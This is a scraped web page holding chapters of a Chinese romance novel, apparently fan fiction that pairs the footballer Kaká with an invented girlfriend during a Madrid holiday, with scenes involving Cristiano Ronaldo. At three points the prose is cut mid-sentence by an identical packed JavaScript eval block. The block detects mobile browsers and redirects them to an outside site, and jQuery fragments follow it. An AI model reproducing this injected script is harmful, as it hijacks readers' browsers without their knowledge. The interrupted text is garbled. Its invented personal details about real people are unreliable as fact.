至于基督新教,尽管此前我也曾阅读过不少资料,但那次走入福音堂,却是我第一次亲身感受新教徒的礼拜,没想到它与天主教的弥撒仪式如此迥异,如此简朴而不拘一格。 那次礼拜结束后,约书亚牧师主动从讲坛上走下来与我交谈。我与他分享了自己对宗教的见解。他则告诉我,他们信仰的是新教中的一个分支——福音派。 此教派强调个人与上帝的直接沟通,认为《圣经》是神的默示,并致力于在全球传播福音。为此,他们秉持着一种宽广的胸怀,愿意包容不同教派之间的差异,倾听多样化的观点,甚至毫不避讳地公开称呼天主教徒为“弟兄”。 当我们谈到“异端”时,牧师对我说:“信仰,其存在的意义绝非是要将我们彼此区隔开来,恰恰相反,它是一座跨越鸿沟的桥梁,旨在将我们紧密团结在一起。它教导我们要相互尊重和理解,即便我们来自不同的背景,拥有不同的信仰。” 我颇为赞同这种与时俱进的态度。那个暑假,我多次来到这所教堂,也就是在那时我遇见了夏天。不过,自从我将实地考察与文献资料相结合,撰写了一篇探讨世俗化对基督新教影响的论文,并将其作为暑期实践报告提交之后,就几乎没有再来了。 我摩挲着下巴,不禁感到有些汗颜。 - “你这次回到马德里,是因为佐伊吧?” 我随手从草地上拾起一根长长的草叶,逗弄着夏天玩。里卡多和牧师在一旁的小径上散着步。听到这话,我装作若无其事,却不由得悄悄竖起了耳朵。 里卡多轻轻应了一声。“遇到佐伊是我的幸运,在此之前,我从未想到我的心态会因为她而全然不同。” “无论过去发生过什么,上帝的恩泽总是丰沛的,足以治愈伤痛,带来新生。”牧师的语调平静而笃定,“无论身处喜悦的巅峰,还是深陷痛苦的泥沼,主都与你同在,给予你力量和希望。我由衷地为你感到高兴,看到你如今能再次寻回内心的安宁。” 我察觉到里卡多的目光柔和地落在我身上,下意识地侧过头,与他隔空对望。手上突然一轻,我低头一看,原来是夏天一口叼走了那根草叶。我不禁哑然失笑。 “佐伊,我很久没有在教堂里见到你了。”约书亚牧师注视着我,“我记得你的观点总是很有见地,让人耳目一新。” 我做出一个略显无奈的手势:“牧师,我去美国读大学了,学业和生活的忙碌让我难以抽出时间过来。” 牧师点了点头,表示理解:“教堂的大门永远为你敞开着,上帝无论何时都欢迎向祂而来的孩子。信仰绝非是我们前行路上的负担,而是一种至高无上的自由,是我们永恒的依靠,是灵魂最终的归宿。” 我微微一笑,没有说话。 - “亲爱的,考不考虑换个职业?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956412|160973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “什么?”他投来惊讶的一瞥。 我们十指紧扣走在回程的路上,我轻轻晃了晃他的手。 “你不记得我们‘两人一狗’冒险小队啦?刚才我们遇见了一个真正的牧师,这样一来,你的牧师身份恐怕得让位了。”我微微扬起下巴,一本正经地说道,“你得找份新工作,不然就只能给我打杂了。唔,从此沦为女巫小姐的小跟班。” “那也不错,不知道女巫小姐管不管饭呢?” “女巫小姐可不做慈善。” “哦——”他失望地拖长了声音。 “但你例外!” “嗯?”这一声是惊喜的感叹。 “谁让我还欠你好多好多吻呢。”我小声嘀咕,随后,我正色道,“说真的,如果可以自由选择,你最想成为哪种奇幻角色呢?” “剑士吧。” 咦,他竟然选了一个冲锋在前的职业。这有点出乎我的意料,但仔细想想,却又在情理之中。 “直面敌人,永不言弃。”他留意到我的疑惑,给出了一个简洁的解释。 我思忖了片刻。“要我说,你更像是个战斗牧师。”我的话让他微微一愣。 “战斗牧师不仅能像剑士一样勇猛作战,还能为受伤的队友治疗,在关键时刻挺身而出承担伤害。更重要的是,他是整个小队的精神领袖。”我歪着头,眼中闪着笑意,“这不就是我们的卡卡吗?是进攻的核心组织者,也永远是队友和家人可以毫无保留托付与信赖的那个人。” 一种喜悦中略带些许不好意思的表情,悄然浮上他的脸庞。“这可是很高的赞誉啊。”他轻声说。 我们在一条岔路上和夏天分别。 “快回家吧,乖孩子。”我俯下身,摸了摸夏天的头,它冲我们摇摇尾巴,最后看了我们一眼,便转身一溜烟地钻进旁边的一条小巷中。 “说起来,这一切还真有点阴差阳错。你离开马德里的那个夏天,我恰好开始频繁地出入福音堂。这让我想到了佛教所说的‘一切皆由因缘’,还有道教的‘冥冥之中自有定数’。古希腊人也认为人类无法抗拒命运。还记得你之前提过的‘人生剧本’吗?它不是已经在我们面前上演了一幕幕巧合,来让我们不期而遇吗?” “古希腊人眼中的命运,是一种难以捉摸的神秘力量,”他接过我的话茬,“不过,他们也格外强调,人类要有反抗命运的精神,即便这种反抗最终可能如俄狄浦斯王那样,以悲剧告终。” “那你觉得,上帝在这一切中扮演着怎样的角色呢?” 他沉吟了很久,才若有所思道:“上帝隐藏在幕后,不会直接干预生活的细节,祂赋予我们自由意志,让我们在选择中成长。” “如果拿这话去问约书亚牧师,他一定会说这一切都是上帝的精心安排。他是个学识渊博、品德高尚的好人。只是,每次和他聊到最后,他总会不动声色地把话题导向传教。”我瞧了一眼里卡多,笑意挂上嘴角,“这也符合你们教派的宗旨。不过,你竟然一次都没有向我传教。” “约书亚牧师有他传播福音的使命。于我而言,用行动来展现基督耶稣的恩典,才是将祂的爱撒遍全世界的最好方式。”他微微摇了摇头,少顷,发出一声轻叹。 “之前,我和牧师的想法一样,‘上帝会为我们做出最好的安排’。但这两天,我忽然开始觉得,也许我们不能把一切托付给上帝。我一直都沿着那条既定的路线走着,坦途乍现,我就沉醉于顺遂的欢愉;荆棘丛生,我又浑浑噩噩,接受所有向我袭来的痛苦。我总在想基督耶稣会如何评判我,我又该如何做才能令天父投下眷顾的目光?可其实,我再也无法像十八岁时那样,给出笃定无疑的答案了。” 我们沉默了一会儿。 “当羔羊重陷迷惘……”我喃喃道。“你不觉得我也是一只迷途的羔羊吗?”忽然间,我的声音带着明快的调子重新响起了。我挽上他的胳膊,几乎整个人都依偎在他身上。 他低下头,眼中满是宠溺,顺势将手臂收紧,让我能更紧密地靠着他。 “你可不是迷途的羔羊,你是一只聪明的小狐狸,心智坚强,思想独立,你有勇气面对生活中的一切新奇和一切变故。你是你自己命运的主人。” 27. 马德里假日 在胡安转至普通病房后,我们几乎每天都去探望他。胡安很快察觉到了我和里卡多之间的甜蜜关系。说实话,我私下里和里卡多讨论过,这个聪明的小老头肯定一早就有所猜测。在这之后,胡安更是乐此不疲地将我从小到大的每一件趣事(以及那些令人尴尬的糗事),都分享给了里卡多。 有几回,胡安用病房里的电视播放足球比赛,并兴致勃勃地邀请里卡多担任临时解说员。里卡多的解说非常精彩,至少让我这个对足球一知半解的人搞懂了好些专业术语。 “我年轻时也热爱足球,是伯纳乌球场的常客。”胡安用慈爱的目光注视着我们,“只是后来一头扎进了哲学研究中,没什么精力去看球赛了。现在倒是可以重新拾起这个爱好。医生也建议我多些娱乐活动,放松放松心情。” 在这段明媚日子里的其余时间,我和里卡多简直不能分离片刻,我们不是在郊野和公园里散步、划船、野餐,就是一起待在别墅里,享受这些私密时光。 进入九月以后,马德里的气候变得极为宜人,天色总是很明亮,早晚时分的空气里有一股舒适的凉意,院子里到处飘溢着香雪球、大丽花和茉莉花似梦似幻的芳香。 有时候我们依偎在沙发上,挑选几部西班牙语或葡萄牙语的经典老电影来看。 敞开的门窗通向藤蔓环绕的庭院,从二楼阳台垂挂下来的蓝雪花点缀着状如星星的花簇,汇聚成一道花的洪流,从沙发上望过去,又如同一张巨大而轻盈的面纱,编织着紫蓝色的蕾丝,一会儿向外飘拂,一会儿向内摇曳。 青草冲进屋子里的势头被稍稍缓和,草地上不知何时长出了几株夏末的蒲公英,在它们细长的茎上缀满闪闪银丝,随风飘散成银白色的细雪。 有时候,我们一块儿读几章书,我用法语为里卡多念诵“比酸苹果汁流进孩子的嘴里更甜蜜”和“林泽的仙女们,我愿她们永生”。 偶尔,里卡多会坐在小圆桌前,沉浸在葡语版的《失明症漫记》中,而我则在钢琴前弹奏德彪西的《牧神的午后》。 我们一同去参观了两座很符合我们趣味的博物馆。其中一座是我曾多次踏足的普拉多博物馆,它以收藏丰富的宗教画作而闻名。我们几乎在那儿消磨了整整一天的时光,我热情洋溢地为里卡多讲解着安吉利科、提香、委拉斯贵支、鲁本斯、伦勃朗、博斯、戈雅这些大师的杰作,里卡多也分享了他所熟知的圣经故事。 另一座是我钟爱的索罗拉博物馆,这座风景如画的宅邸坐拥三个精致的小花园,曾是印象派大师索罗拉的居所。我们到访之际,恰逢馆内举办索罗拉风景画主题展览,数十幅描绘西班牙城镇与异国城市的作品纷纷亮相。我们逐一游览了每个展厅,尤其被那些展现海滨浴场的画作所吸引。 “在索罗拉的画中,人与海和谐共存,大海总是色彩柔和,光影曼妙,那样温暖而平和。”我赞叹道。 “只有内心温暖宁静的人,才能画出这样美的大海。”里卡多微笑着回应,“因为人的心比海更无限,更深邃,拥有更多的可能,也能激荡起更狂暴的风浪,是另一种更莫测、更梦幻的大海。” “康德说‘大海之所以伟大,除了它美丽、壮阔、坦荡外,还有一种自我净化的功能’。”我若有所思道,“我们不顾一切奔向大海,彻底倾心于她,或许也是在向往更自由、更纯净的自己。” 参观期间,里卡多还是没能躲开众多球迷的视线。好在大部分人都遵守博物馆的秩序,只是礼貌又热情地靠近,询问能否合影留念或得到一个签名,并未过度打扰我们。 然而,那些悄悄尾随我们的西班牙小报记者却没闲着,他们瞅准时机,巧妙地抓拍了许多照片。随后,这些照片被刊登在媒体上,还配上了诸如此类的夸张标题:“甜蜜爆表!卡卡与新女友马德里共度浪漫假日”“卡卡大秀浓情蜜意,与女友上演博物馆浪漫拥吻” ...... - 一周后,胡安康复出院,而我的父母也在两天后踏上了飞回中国的旅程。 机场内,莱昂在最后一次拥抱我时,半开玩笑地说道:“真不跟我们一块儿走吗,小甜饼?爸爸我可有点吃醋了。” “我都看你和妈妈秀了十八年恩爱啦,爸爸。”我揶揄道,“你得像我一样做个称职的观众。” “亲爱的,我们得走了。”布兰卡提醒道,“年轻人有他们自己的生活。” 莱昂最后和里卡多对视:“照顾好我女儿。” “我会的,我向您保证。”里卡多郑重地说道。谁都无法质疑他的诚恳。 - 这些天,我的手机也几乎成了热线。朋友们通过WhatsApp、Messenger和其他任何能找到我的通讯软件源源不断地发来消息。光是逐个点开对话框回复,就花费了我不少时间。每个人仿佛都积攒了一肚子说不完的话,抛出一个又一个问不完的问题。 当然,首当其冲的便是好友们的电话轰炸。我的美国室友露娜和斯嘉丽,简直兴奋得几近癫狂。在我们三人共同的视频通话里,她们的尖叫声几乎要冲破屏幕,执意让我一遍又一遍、仔仔细细地描述我和里卡多相处的每一个细节。 当露娜得知我之前提到的那个巴西人竟然就是卡卡时,她瞬间陷入了一种失控的状态,在沙发上蹦来跳去,激动得声音都变了调:“哦,我的天,你怎么会这么幸运!那可是卡卡啊!上帝之子卡卡!世界足球先生卡卡!球坛第一帅哥卡卡!” 她还极其肉麻地吹捧我:“我早知道你能行,佐伊宝贝!你那么美丽动人,是我见过最美的混血儿,只要你对他施以真诚,再稍稍展露一点点热情,不管他是大球星还是圣子,都难以逃脱你的魅力!” 她的激动情绪感染了斯嘉丽。“我决定当你男朋友的头号粉丝!”斯嘉丽大声宣布,“全美国的橄榄球球星捆一块儿也没他一人帅!他怎么不去拍电影呢?所有人都会为他的脸蛋而疯狂!他现在在美国踢球是不是?我绝对要去看他比赛!” “算我一个!我们一起去!佐伊,你一定得给我们弄两张最佳观赛位置的球票!” 而我在中国的老同学们,那些平日里就热衷于刷推特的,早就知晓了这个消息,伊莎贝拉便是其中之一。 她给我发来了一条长长的语音消息,声音里满是惊讶:“我们确定是半个月没联系,而不是半年吗?这简直太难以置信了,你居然一直瞒着我!现在我们全家都知道了,我的小弟弟把你们的视频转发给了所有人!我心里真的有点难过,全球网友都比你的闺蜜要早知道你谈恋爱了!” 我不禁涌起一丝愧疚,赶紧向贝拉解释,我和里卡多刚确定关系,还没来得及和家人朋友分享这份甜蜜,就被记者抓拍曝光,这才不得不公开。好在最后,我成功安抚了她,并答应给她寄去卡卡的签名球衣和签名照。“我的小弟弟和我哥哥非缠着我要。”她无奈道。 而另一些平时不太关注国外新闻的朋友们,则是另一种反应。他们从共同好友那儿听说了这个消息,纷纷跑来向我求证真假,再三确认我是不是真的成了大名鼎鼎的球星卡卡的西班牙新女友。还特意告诉我,现在国内媒体也在竞相报道这个新闻。 “这些媒体似乎还不知道你有中国血统。他们只是把国外的新闻原封不动地翻译过来,简单地把你称作‘西班牙美女’。” - 关于买车的事,我和里卡多着实讨论了相当长的一段时间。最终,我成功说服了他,否定掉那些动辄几百万欧元的超级跑车。我给出的最具说服力的理由是: “即使芝加哥不是真正的哥谭市,但犯罪率确实居高不下。我可不想每次出门身后都跟着四个壮汉保镖,可要是不这样,那辆昂贵的‘大号玩具’恐怕在第一天就会被人砸破玻璃。” 但这样说的后果就是,即便我再三向他保证芝大所在的海德公园街区治安还算不错,警力部署也十分充足,而且我有着晚上十点以后不会轻易外出的习惯,里卡多对我的安全依然感到忧心忡忡。 “我们每天晚上都得通电话。”他对我说,“我实在是放心不下。等你开学后,我一有空就会飞去芝加哥看你。” 我满口答应,懒懒地挂在他身上,顺着他的脖颈亲吻下去,将他的忧虑骤然转化为升高的体温和略显急促的呼吸声。 至于跑车的选择,在众多车型中,我一眼便看中了今年刚上市的迈凯伦570S。我钟爱这种拥有完美流线型车身和独特蝴蝶门设计的跑车。在去店里试驾、挑选完各种选装配置之后,里卡多立即让人在美国为我订购了这辆车。 “等回到芝加哥,你就能去店里提车了。不过,我还以为你会选一个更张扬的颜色。” “蓝色真的很美。”我开心地说,“它也是我的最爱,属于大海的颜色。” - 在这些天里,我也见到了C罗。 我和里卡多受邀前往C罗在马德里的豪宅做客。他是那种无论身处何处,都能自然而然成为众人焦点的人物,时刻都散发着自信和魅力。 “你好,佐伊,如果你愿意,可以像卡卡一样叫我克里斯。”他带着友好的微笑对我说。 “你好,克里斯,我时常听里卡多提起你,今天终于有机会见到你本人了。”我欣然道,他走上前,我们礼貌而亲切地互行贴面礼。 他向我介绍了他的家人——他的母亲多洛雷斯以及他六岁的小宝贝,小克里斯。我俯下身,温柔地贴了贴小克里斯的脸颊。小家伙瞬间羞红了脸,像只受惊的小奶猫一样,眨眼间就躲回了奶奶的怀抱。 “今天怎么这么害羞呢?”克里斯讶异道。 “漂亮姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956413|160973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐亲我。”小克里斯躲在奶奶的臂弯里,小心翼翼地探出脑袋,小声地嘟囔了一句,引得在场的每个人都忍不住笑了起来。 随后,多洛雷斯带着小克里斯去上早教课,留下克里斯继续招待我们。 我们移步至豪宅的私人影院里观看了一些经典球赛的集锦。大屏幕上闪过一个又一个激动人心的瞬间,里卡多和克里斯一边看,一边幽默地对彼此的高光时刻进行点评,这让我觉得很有意思。 “这家伙显然是冲人去的,你脾气也太好了。”克里斯指着屏幕,语气中带着一丝玩笑的责备。我们刚刚目睹了里卡多在准备过人的瞬间,被对方后卫一记凶猛的滑铲击中脚踝,随即痛苦倒地。 慢动作回放清晰显示,对方球员在铲球时丝毫没有收力的迹象,鞋底更是径直瞄准了里卡多的右小腿。我眉头紧锁,心中涌起一股恼怒——这样的犯规实在是太危险了! 然而,里卡多却展现出了他的坚韧。他强忍着疼痛,对赶过来关心他的队友挤出一个略显勉强的笑容,然后慢慢爬起来,向裁判示意自己还能继续比赛。 “这种恶意犯规就该直接红牌罚下,只给个黄牌实在是太便宜他了。”克里斯愤愤不平道。 “只是一个小碰撞。”里卡多安慰他说,同时回握住我伸过去的手,“在球场上的每分每秒,我都必须全力以赴。” 我和克里斯不禁交换了一个眼神。 “我无法说他什么。”我爱怜道,“正是这样的他,用中国球迷的话来说就是‘陌上人如玉,公子世无双’,让我无限钟情。” “他的风采如同贵公子般优雅出众,道德如同玉石般高尚无暇。”克里斯微微抬起眉毛,概括了一下我用葡语翻译的那两句诗,而后打趣道,“卡卡,你的小姑娘用尽了所有溢美之词来形容你吧?” “这不是我一个人的看法,而是中国球迷的共识。”我眼中泛起笑意,“他们用中国的古典诗词来形容里卡多。还有一句‘银鞍照白马,飒沓如流星’。”我先用中文念了一遍,随后又为他们翻译,“卡卡就如同骑白马、跨银鞍、着白袍的古代骑士,风度翩翩,踏风而来。他的每一次奔袭和突破,都如同流星划过夜空,迅疾而璀璨。” “白袍?我明白了,是说卡卡在皇马时的白色球衣吧?”克里斯眼睛陡然一亮,兴致盎然地猜测道,“这么比喻倒是挺贴切的。卡卡很擅长全速带球奔袭,就像骑士驾驭着白马在战场上尽情驰骋;还有他流畅的盘带、精准且与我配合默契的传球、矫健的过人,以及远距离的抽射……他无疑是最棒的队友,同时也是最让对手头疼的劲敌。” 他不无感慨地耸耸肩,右手随意地搭在里卡多的肩膀上,补充道:“最让人头疼,却也最招人喜欢。因为我们的好孩子球风端正,自律且干净,让对手从来不必担心他会有任何不当的犯规。” 里卡多以一种无奈的眼神看了看他,然后转向我说:“中国球迷真的让我很感动,他们总是毫不吝啬地给予我最美好的赞誉。最让我惊讶的是,哪怕在我职业生涯的低谷时期,他们也始终如一地支持我。” 我理解他所指的是他与伤病斗争的这些年,于是我认真地对他说:“中国人崇尚含蓄、内敛与中和之美,你谦逊温和的性格,与中国人的审美品味完美契合。更为关键的是,中国人尊重英雄,他们永远不会忘记你所取得的辉煌成就,永远对你充满敬意。” 午餐时,克里斯的私人厨师为我们准备了一桌地道的葡萄牙美食。我们闲聊起了我与里卡多的相识经历,克里斯也谈起了当年他们一起在皇马时的趣事。 最有意思的环节在下午,克里斯领着我们参观了他的私人足球训练场。在我的请求下,两位世界级的球星为我这个足球菜鸟示范了一些专业的足球技巧,还极其有耐心地指导我。 “我也是这样教我儿子的,他很有足球天赋。”克里斯开玩笑道,“你得时刻关注你的球,佐伊,稍微一走神,就会像这样——”话还未说完,他便以一个敏捷无比的铲断,瞬间将我脚下的球截走。 我气喘吁吁地双手撑腰,对里卡多大喊道:“快上,亲爱的!把我的球抢回来!” 里卡多立刻冲上前去。 “抱歉,兄弟,我得为我的女孩而战。”他敏锐地捕捉到克里斯脚下的一个空当,迅速完成抢断,随即大步前趟,如利箭般带球推进,紧接着没有丝毫犹豫,直接用正脚背猛力抽射。 球如出膛的炮弹一般飞出,裹挟着剧烈的旋转和惊人的速度,直奔球门的正中而去。 “啊!”他突然一拍脑门,转身面对目瞪口呆的我,“抱歉,甜心,我一时忘记把球传给你了,这完全是条件反射!”他满脸懊悔地解释着。 克里斯悠哉悠哉地向他走去,边摇头边说:“给你机会表现,你都没把握住啊,啧啧。” 28. 玻璃世界外 终于,社区里也渐渐传开了一个消息:胡安和阿尔玛教授家来了一位足球明星。 这得归功于那些神出鬼没的小报记者。他们不是潜藏在别墅周围的灌木丛中,就是蹲伏在路边街角的阴影里。为了挖到猛料,他们甚至截停了不少路人,试图从他们口中套出关于我们家的点滴信息。虽说我们的邻居大多教养良好,不愿随意议论他人隐私,但记者们还是使尽浑身解数,挖到了一些消息。 “那位穿咖色衬衫的女士问我‘佐伊平时喜欢做什么’,我跟她说我不知道。” 我递茶杯的手微微一顿,“然后呢?” 我边问边把茶杯递给画家,心里已经大致猜到后续了。 “她又问我‘你觉得佐伊长得怎么样,在你眼中她美不美?’我回答说‘美极了,就像雷诺阿画里那种明媚又纯真的美,我还为她画过一幅画’。” 拉斐尔赶忙接过茶杯,从杯盖上方偷偷瞅了我一眼,喏喏道,“接着她就和我聊起绘画,也不知道怎么回事,我就说到了你男朋友找我买画的事。” “我真不该把里卡多介绍给你认识。”我扶着额头,无奈道。 “没关系的。”沙发上的男人语气温和地说道。 “他们把你描绘成一个被我的美貌迷得晕头转向的傻小子,你也觉得没关系吗?”我扭头看向他,郁闷地嘟囔着,冲他扬了扬手机。屏幕上,一篇刚刚发布的新闻报道赫然在目。 “据我们这对爱侣的一位画家朋友向本报记者透露,卡卡在日前不惜一掷千金,从他手中购得一幅以女友为模特的画作。据该画家称,此画已在马德里的某某知名画展中惊艳亮相(见下图),并在艺术界收获了广泛赞誉。……这位拥有西班牙与中国双重血统的佳人,凭借她那蓝绿色的迷人双眸和足以令大多数人倾心的美貌,已让这位球坛传奇巨星彻底陷入情网,神魂颠倒。” 我故意用一种夸张造作的语调大声念完,然后抬起眼,冲里卡多扮了个鬼脸。 他微微一笑,说道:“你确实让我神魂颠倒。” 我无奈地看着他,有些气馁。 "不过,有一点他们说错了,"他正色道,“这些记者太偏颇了。你的一切都令我迷恋,而不只是外表。他们似乎笃定采访我不会得到什么结果,可要是真有人来问,我绝不会吝惜对你的赞美,因为我心中满溢着对你的爱意,以至于无论对着什么,有生命的或是无生命的,都情愿倾诉。” 这番话让我不由自主地绽开笑容,满心欢喜地扑进他怀里。 屋里的第三个人此刻满脸窘迫。他几次清了清喉咙,试图吸引我们的注意,但见我们依旧沉浸其中,只好略显不安地把目光移开。 “佐伊,我是来向你道歉的。”拉斐尔的声音轻得像一根羽毛在空中飘荡,“我不是故意把这事透露给记者的,我发誓,以后绝不会再跟这些人多说一个字。 我将下巴轻轻搁在里卡多的胸膛上,他这件熨烫得不打一个褶皱的高级衬衫触感丝滑无比。我微微翕动鼻翼,轻嗅着飘逸在他衣领与脖颈间的古龙水香气,那是一股柑橘与苦橙交融的芬芳,闻之令人心旷神怡。 自坠入爱河后,这个男人便开始破天荒地注重起自己的仪容。 他的助理特意从美国飞来马德里,为他精心安排服装与造型。各大品牌当季的衬衫,排着队被送入丽兹酒店顶层奢华套房的衣橱里。帕尔玛之水、蒂普提克、阿蒂仙、潘海利根等一众沙龙香,在桌上一字排开,这些馥郁的香氛,于不同色调的清透玻璃瓶中袅袅氤氲,日夜等候着阿多尼斯的垂青。 这位焕然一新的阿多尼斯,也在他的球迷中引起了一阵不小的轰动。 “有生之年,卡卡的颜值居然回归了!谁能相信照片中的这个男人已经三十多岁了呢?!” “卡卡这么多年来怎么一点都没变啊?像吃了防腐剂一样,和十年前分明是同一张脸。女友视角拍的照片也太可口了~~~瞬间梦回米兰卡。” “卡卡终于把胡子刮干净了,头发也好好打理了。感动落泪,果然爱情是男人最好的医美!” “是不是女朋友给捯饬的呀?谢天谢地谢嫂子还我们卡子哥妈生美貌!!” …… “好啦。” 我双手环上里卡多的脖子,瞥了一眼浑身透着“拘谨”二字的画家,慵懒地说道,“记者个个都是人精,有几百种办法从你嘴里套出话来,你又不擅长和人打交道,我知道你不是故意的,没怪你。” 拉斐尔的眉头顿时平滑下来。他轻舒了一口气,向后靠在椅背上。“哦,对了,胡安和阿尔玛呢?”他忽然左顾右盼道,“我刚才就想问,可一直没敢开口。他们不在家吗?” “他们和索菲亚一起去马略卡岛度假了。他们有个老朋友在海边经营一家疗养院,邀请胡安在大学开学前过去休养一阵子。要不我和里卡多怎么会天天腻在这儿?” 我一边说着,一边忍不住亲上身旁男人的颈侧,那股香味随着他脉搏的跃动晕散开来,愈发浓郁,撩人心弦。里卡多的手徐徐绕上我的发尾,漫不经心地打着圈儿,就在我凑近的刹那,他的手指猛地收紧,轻轻扯了一下我的头发。 我不禁微微一颤,然而这轻微的刺痛非但没让我停下,反而令我的吻愈发深情,直至他的脖颈上肌肤浮起一片片玫瑰红色的斑驳痕迹。 拉斐尔的咳嗽声陡然加剧,紧接着传来一阵杯盘仓促碰撞的杂乱声响,还有他大口喝茶时被热茶烫到而发出的嘶嘶吸气声。 “宝贝,我们要是再这么亲昵下去,你的朋友恐怕就要和你翻脸了。”里卡多亲了亲我的额头,眼梢藏着笑意。 “我不是,咳咳,呃……” 拉斐尔的脸一下子涨得通红,他结结巴巴地否认道,“我没这个意思,你们请继续,哈哈。我只是好奇,你们怎么没和胡安、阿尔玛一道去呢?我去年去马略卡岛写生,那儿的风景简直美极了。” 我和里卡多对视了一眼。“如果我们也一起去,你猜后面会不会缀上一车队的小尾巴?” “你是说——”拉斐尔恍然大悟,手指向门外。 我点了点头,无奈道:“只要我们在马略卡岛上被拍到一张照片,胡安就别想清清静静地疗养了。我都能想象,从疗养院的树上突然跳下来一个扛着‘长枪短炮’的记者先生,追着胡安问:‘您认为您的外孙女是如何俘获卡卡的心的?’‘这小妞交过几任男朋友呢?她也和卡卡一样信教吗?是否也禁欲呢?’” 我怪模怪样的描述令两位男士都忍不住笑了起来。 “不过,说真的,棕熊先生,我好想和你一起去海边旅行。”我在沙发上换了个姿势,盘起双腿,转头对里卡多说。 “我们第一次见面就是在海边。”他提醒我,左手自然而然地绕过我的后背,搂住了我的腰。 “可那次我们相处的时间实在太短,而且严格说来,也算不上真正的旅行。”我顺势把头靠在他的肩膀上。 “那你想去哪儿呢?西班牙南部,还是我们去过的墨西哥湾沿岸?” “法国南部倒是不错。”拉斐尔忍不住插嘴推荐,“几年前我在尼斯附近的小镇居住,那里被鲜花簇拥,柠檬树、棕榈树、橄榄树和松林错落有致。我常常坐在高高的古老城墙上,或是海边光秃秃的岩石上,仰望风暴过境前瑰丽的南方天空,观察海浪的波纹与阳光的折射,过得非常惬意。” “谢谢你,拉斐尔。不过地中海沿岸的美丽小城,我从小游历过太多了。”我拨弄着里卡多温热的手指,攒眉沉思,“实际上,我还从未去过希腊,对爱琴海满怀好奇。狩猎女神阿尔忒弥斯真的是在那里掳走了不幸的伊菲革涅亚,并让她成为自己的祭司吗?奥德修斯是否在那里遭受波塞冬的百般阻挠,从而漂泊了整整十年?而独自启航的忒修斯,又是否曾望着迪亚岛上情人的倩影而默默流泪?” “这么多的美丽传说。”里卡多柔声道,用另一只手梳理起我垂在胸前的发丝,“接下来这两天,我们就去希腊看看,怎么样?” 我不禁有些心动,可理智还是让我摇了摇头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956414|160973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我们马上就得回奥兰多了,时间太紧张。我一直没问过你,联赛期间你飞到马德里和女朋友度假,俱乐部不会有意见吗?” “别为我担心,亲爱的。”他轻声安慰我,“我和俱乐部之间,是彼此各取所需、互惠互利的合作关系。他们需要我的名气来提升球队影响力,而我需要一个宽松舒适的休养环境。实际上,每个赛季我只需要为奥兰多城踢几场比赛就够了,而我现在已经在超额效力了。我很清楚,我的足球生涯已渐近尾声,只是想在退役之前,尽可能多地在绿茵场上奔跑。这或许是一种徒劳,但好歹能让我感到些许慰藉。” 我听出他话语里难以掩饰的落寞,心里猛地一揪,下意识地紧紧攥住他的手。 他望向我,露出一个天使般的微笑。 一个馥郁的,精致的,易碎的天使。 我安静地凝视着他深凹的眼窝,那镶嵌其中的黑褐色花蕾,就如同一个难以直视太阳炽烈目光的最隐秘的祭坛。 最外层的花萼,是矛盾之剑与忧郁之盾。当你轻轻剥开这两位忠实的守护者,映入眼帘的便是层层叠叠、蜿蜒曲折的幽径。你必须顺着爱情抛出的那根细长的羊毛线小心翼翼地前行,直至走到尽头,才能窥见一种残酷到极致的美丽——它将世间的光芒悄然吸纳,而后深深地隐匿于最深处。 我们一起度过的这段光亮夺目、心荡神摇的快乐时光掩盖了太多,仿佛所身处的一切尽在一枚玻璃眼球之中上演,诸多纷扰皆被掩藏。 那晶莹剔透的玻璃表面,宛如苍穹延展。其下万物,都被一层煦暖而柔和的光芒所笼罩。褐色的瞳仁轻轻眨动,笑意随之流淌,便化作细烛般微弱、银丝般闪烁的河流,让我沉寐于飘摇的醉舟之上。 然而,那些最为真实的印记,就像久被遗忘的潮水,骤然汹涌袭来,掀起一波又一波声势浩大的水浪。 我怎么会忽视他最真实的内心呢? 他是那个在原野里自由奔跑、无限美好的少年,也是那个在绿茵场上如风般疾驰、赢得万人欢呼的卡卡,但他同样也是这个,饱受伤病折磨,再也无法尽情全速奔袭,被世人惋惜过早陨落的里卡多。 我所爱的Ricardo,我所心痛的爱人啊。 “我知道。”沉默良久,我突然轻声说道。 我知道你对足球的深爱,你对足球的遗憾。我知道你想要放弃,但你无法割舍掉那颗炽热的心。我知道你想要坚持,即使这是一种所有人都已看到结局的坚持。我知道你满心挫败,明明你还有热情,还有勇气,可拼尽全力都无法再往前迈出一步。 我知道你的恐惧,你的无助。我也知道这种痛苦能被时间冲淡,我的出现或许是最甜蜜的慰藉,然而就像退潮后留在沙滩上的水迹那样,即使潮水已逝,那些痕迹依然存在。 